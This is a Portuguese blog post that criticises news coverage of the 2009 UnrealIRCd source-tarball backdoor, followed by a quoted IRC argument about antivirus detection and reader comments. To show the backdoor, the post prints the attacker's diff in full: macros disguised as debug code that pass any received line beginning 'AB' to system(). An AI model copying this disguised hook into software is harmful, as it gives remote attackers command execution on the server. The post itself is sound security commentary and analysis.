2010-06-14

Mau jornalismo & o backdoor no UnrealIRCd

Factos:
  • o código fonte de uma versão do UnrealIRCd para Linux, distribuído num .tar.gz foi comprometido de maneira que linhas que o servidor recebesse que começassem com "AB;" fossem executadas como comandos da shell [1]



  • Os autores do programa não estavam a implementar assinatura dos pacotes



  • houve portanto uma falha de segurança na forma de backdoor





  • Mau jornalismo
  • Linux infection proves Windows malware monopoly is over (não foi infecção e o antivírus não apanharia, em teoria, o problema; adicionalmente, a única razão pela qual a versão para Windows não foi afectada foi que o atacante não se deu ao trabalho)




  • Linux Trojan Raises Malware Concerns (a piada era que diziam que o trojan era no jogo Unreal, o que demonstra a extensa investigação realizada durante a escrita do artigo; entretanto esse erro foi corrigido)






  • Como aparentemente quem é pago para isso não faz o seu trabalho como deve ser, eu, que devia estar a dormir ou a trabalhar, faço o trabalho por eles.

    A equipa por detrás do UnrealIRCd, um servidor de IRC, coloca as suas releases num servidor. O código-fonte vem, como é hábito, num ficheiro .tar.gz. Algures durante Novembro de 2009 um idiota qualquer adicionou nesse ficheiro .tar.gz 10 linhas de código [1], que faziam que qualquer linha que começasse por "AB;" que fosse enviada ao servidor seria executada no servidor com os privilégios do utilizador com que o servidor estaria a correr.

    Ou seja, temos uma backdoor, e não um vírus, e temos uma backdoor bastante simples, que a única coisa que faz de especial é ter uma chamada ao system() -- o que já dá para muito estrago mas não é propriamente complexo nem com código incomum. Duvido, como tal, que um antivirus apanhasse tal backdoor através de heurísticas (e muito menos através de assinaturas antes do problema ser conhecido) mas não tenho conhecimentos para afirmar tal com toda a certeza nem tenho um blog na ZDnet e sou pago para mandar bitaitagem.


    Quem quiser uma análise decente à backdoor pode vê-la aqui.



    Entretanto um idiota num canal de IRC também gosta muito de mandar bitaitagem sem saber do que fala nem admitir a sua ignorância [2] disse que uma versão antiga do antivírus detectava mas não acredito que ele tenha testado como deve ser.


    [1] A backdoor
    diff -ru Unreal3.2-clean/include/struct.h Unreal3.2-bugged/include/struct.h 
    --- Unreal3.2-clean/include/struct.h    2009-04-13 13:03:57.000000000 +0200 
    +++ Unreal3.2-bugged/include/struct.h   2009-04-13 13:03:00.000000000 +0200 
    @@ -430,6 +430,7 @@ 
     #endif 
      
     /* Fake lag exception */ 
    + 
     #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG) 
     #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG) 
     #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG) 
    @@ -448,6 +449,7 @@ 
     #else 
     #define IsNotSpoof(x)           (1) 
     #endif 
    +#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG) 
      
     #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost) 
     #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL)) 
    @@ -513,6 +515,10 @@ 
     #else 
     #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__)) 
     #endif 
    +#ifdef DEBUGMODE3 
    +#define DEBUGMODE3_INFO        "AB" 
    +#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x) 
    +#endif 
      
     #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT)) 
     #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN)) 
    @@ -1373,6 +1379,7 @@ 
     #define INCLUDE_REMOTE     0x2 
     #define INCLUDE_DLQUEUED   0x4 
     #define INCLUDE_USED       0x8 
    +#define DEBUG3_DOLOG_SYSTEM(x) system(x) 
            
     struct _configitem_include { 
            ConfigItem *prev, *next; 
    diff -ru Unreal3.2-clean/src/s_bsd.c Unreal3.2-bugged/src/s_bsd.c 
    --- Unreal3.2-clean/src/s_bsd.c 2009-03-01 19:37:58.000000000 +0100 
    +++ Unreal3.2-bugged/src/s_bsd.c        2006-06-16 20:29:00.000000000 +0200 
    @@ -1431,6 +1431,10 @@ 
                        return 1; 
                    if (length <= 0) 
                            return length; 
    +#ifdef DEBUGMODE3 
    +       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2)) 
    +           DEBUG3_LOG(readbuf); 
    +#endif 
                    for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next) 
                    { 
                            int v = (*(h->func.intfunc))(cptr, readbuf, length);
    

    [2] O sábio do IRC
    [22:55] [A_minha_pessoa] out of curiosity, you've already bashed the ZDnet blog guy saying the IRCd would've been detected by a virus scan?
    [22:55] [A_minha_pessoa] *Unreal IRCd exploit
    [22:55] [O_sábio] A_minha_pessoa, One of many ways it could have been stopped
    [22:55] [O_sábio] He happened to pick the one way where Windows looks more secure
    [22:56] [O_sábio] the most inefficient way of stopping it that would have worked
    [22:56] [O_sábio] :)
    [22:56] [O_sábio] I still say neutering /opt and posting the correct MD5 sum could have stopped it
    [22:56] [O_sábio] without any need for a virus scanner
    [22:57] [A_minha_pessoa] O_sábio: but it's NOT a virus infection! It's a friggin' backdoor which I've my doubts would be detected by any AV!
    [22:57] [O_sábio] A_minha_pessoa, I checked into it
    [22:57] [O_sábio] ClamAV would have caught it
    [22:57] [O_sábio] even 6 months ago
    [22:57] [O_sábio] it wasn't new exploit code, it was just infecting something new
    [22:58] [A_minha_pessoa] O_sábio: a backdoor? how would it catch it? It's a system() call
    [22:58] [A_minha_pessoa] anyone can use a system call in a program
    [22:59] [O_sábio] unsophisticated copypasting
    [22:59] [O_sábio] it's not exactly one of the black arts
    [22:59] [O_sábio] :)
    [23:00] [A_minha_pessoa] I still don't understand how come ClamAV would've caught it
    [23:00] [O_sábio] A_minha_pessoa, The correct file would have matched the MD5 sum of the original file
    [23:00] [O_sábio] let's go back to that one
    [23:00] [O_sábio] because it's the most obvious way to smell a rat
    [23:00] [A_minha_pessoa] no, we're talking about the AV
    [23:01] [A_minha_pessoa] which is what is told in a blog post of a supposed expert
    [23:01] [O_sábio] then there's heuristics
    [23:01] [A_minha_pessoa] the MD5 checksum would of course allow it to be detected
    [23:01] [O_sábio] many antivirus programs look at what a file would do if it was to be allowed to actually run
    [23:01] [A_minha_pessoa] heuristics checking for a system call ?
    [23:02] [A_minha_pessoa] that means I can't do a system() call on a program that it will be classified as a virus?
    [23:02] [O_sábio] at the very least it would probably alert the user to a generic suspicious file
    [23:04] [O_sábio] you don't see anything suspicious about a bot that opens up an IRC connection to a command and control server and starts DCC requests and responding to commands given in the room?
    [23:05] [A_minha_pessoa] have you looked at the .diff ?
    [23:06] [O_sábio] the fact that there are sites out there like GNOME Look is terrifying
    [23:06] [O_sábio] malware gets on there (easily) and infects many (Linux) users for months before anyone is any the wiser
    [23:07] [A_minha_pessoa] have you looked at the .diff ?
    [23:07] [O_sábio] in many ways, yeah, you can get a sizeable botnet on lots of Ubuntu systems, for example
    [23:07] [O_sábio] because nobody will bother to check if they're infected
    [23:07] [O_sábio] it's not like it hasn't happened already
    [23:08] [A_minha_pessoa] in order to continue this discussion I need to know: have you looked at the .diff ?
    [23:08] [O_sábio] Linux is not immune from malware just for being Linux
    [23:08] [O_sábio] explain where Bott was actually wrong about that
    [23:09] [O_sábio] lots of Ubuntu users installing neat little theme packs and putting in their sudo credentials to install the DEB file found that out
    [23:09] [A_minha_pessoa] so, I've to assume you haven't looked at the .diff
    [23:10] [O_sábio] The nice thing about Ubuntu is that it makes it so easy for the user to shoot themselves in the foot and make it look like doing so is a great idea
    [23:11] [O_sábio] it fosters an environment favorable to the spread of malware
    [23:11] [A_minha_pessoa] O_sábio: have you looked at the .diff between the backdoored version and the clean version of the Unreal IRCd ?
    [23:12] [O_sábio] Tell me this. If Ubuntu continues growing, and taking in users who think they're all invincible.
    [23:12] [O_sábio] If that happens, why won't there be an antivirus market there?
    [23:12] [O_sábio] because there will be thousands of different pieces of malware for it
    [23:13] [O_sábio] malware spreads using the most clueless user
    [23:13] [A_minha_pessoa] O_sábio: so, have you looked at the .diff between the backdoored version and the clean version of the Unreal IRCd ?
    [23:14] [O_sábio] why do I have to?
    [23:14] [O_sábio] ClamAV immediately says not to run it
    [23:14] [O_sábio] I've already made that point
    [23:15] [O_sábio] You're asking me how ClamAV detected it? Why do I give a shit?
    [23:15] [O_sábio] it does
    [23:15] [A_minha_pessoa] have you checked with the definitions of ClamAV 6 months ago ?
    [23:16] [O_sábio] I checked it without the daily cvd
    [23:16] [O_sábio] that pretty much removes all the signatures
    [23:16] [O_sábio] so yes, it still would have detected it 6 months ago
    [23:17] [O_sábio] any half-competant antivirus program would have stopped it
    [23:17] [A_minha_pessoa] I find it strange, but ok.
    [23:17] [O_sábio] any half-competent user would have questioned the need to run this as root
    [23:17] [O_sábio] any half-competent sysadmin would have posted a damned MD5 sum of the original
    [23:18] [O_sábio] nobody suspected anything could go wrong
    [23:18] [O_sábio] so they all fail on each account
    [23:19] [O_sábio] it's just like UAC as an annoyance screen
    [23:19] [O_sábio] if the user doesn't ask why something needs elevated and hits OK, of course it can do anything to the system
    [23:19] [A_minha_pessoa] O_sábio: it's a "system()" call, I don't see how an AV could have detected it, look here: http://www.google.com/codesearch?lr=&q=%22system%28%22+lang%3Ac . I find it weird you claiming it would but honestly I don't have the time to check so I'll have to take your word on it.
    [23:22] [O_sábio] "Obviously, this is a very serious issue, and we're taking precautions so this will never happen again, and if it somehow does that it will be noticed quickly."
    [23:22] [O_sábio] should read "so this will never happen again (until it does)" "sorry for not paying any attention"
    [23:22] [O_sábio] :D

    10 comments:

    Halloween said...

    Este tipo de notícias deixam-me bastante irritado, até porque esta merda tb acontece vezes sem conta aqui no meu "pomar". Enfim, ignora.

    Quanto ao sábio, não estou informado o suficiente :P

    Claymore said...

    Hmm, compreendo.
    Se bem que a cena dele dizer que qualquer anti-virus detectaria, tb acredito!

    Na realidade, desde que eu vi o Avast detectar um printf como um virus... já acredito que eles olhem para as syscalls e achem estranho...

    Mas pronto, são assuntos que efectivamente deviam ser mais bem vistos e analizados...

    Btw, já pensas-te em escrever para jornais e revistas da área? Tu até tens jeito com isto Goucha... Acho que devias aproveitar! :)

    Pedro Francisco said...

    Clay, obrigado :) Já pensei nisso, mas eu sou péssimo a gerir o meu tempo por isso seria difícil :/

    Mas fiquei irritado mesmo senão não me tinha dado ao trabalho de escrever.

    Não é questão de Linux não ir ter no futuro problemas da mesma maneira que o Windows tem, visto que o UAC é uma espécie de sudo e portanto malware à la XP está condenado a desaparecer se não der a volta ao UAC.

    O meu problema aqui foi mesmo haver má-vontade de quem escreveu, nem sequer foi parcialidade, foi querer tanto dizer mal do Linux que meteu para lá palavras sem coerência com a realidade.

    Foi mau jornalismo com o selo de aprovação da ZDnet, visto o blog do gajo ser hosted lá e isso irritou-me.

    Peres said...

    Faz-me lembrar o drudgereport, um site de noticias dos US.

    Tinha à uns dias atrás, a ocupar a página quase toda, em caps e negrito "US LEVELS BRITAIN!". Clicando no link, e lendo a noticia, vi que empataram a 1....

    Pedro Francisco said...

    USA WINS 1-1

    Sintra said...

    Eu curti o sabio a dar rant e a ignorar a pergunta que te fartaste de repetir.

    Por acaso concordo com o Clay. A tua imparcialidade, boa escrita e seriedade no assunto fazem os teus rants nestas coisas mto legíveis.

    Pedro Francisco said...

    :D Obrigado :)

    Peres said...

    Tenho de discordar!

    Se eu tentar discutir politica de direita com o Goucha, ele toma posições de esquerda. Se eu apoiar politicas de esquerda, ele é todo de direita, wtf!

    Sintra said...

    Pois Peres, mas numa discussão convém que tomem posições opostas, senão n se trata propriamente duma discussão.

    Pedro Francisco said...

    Isso é porque eu tenho fé no mundo mas não tenho fé no mundo :p Logo vejo as posições todas e no espectro político esquerda-direita sou o que um fractal é para uma imagem xD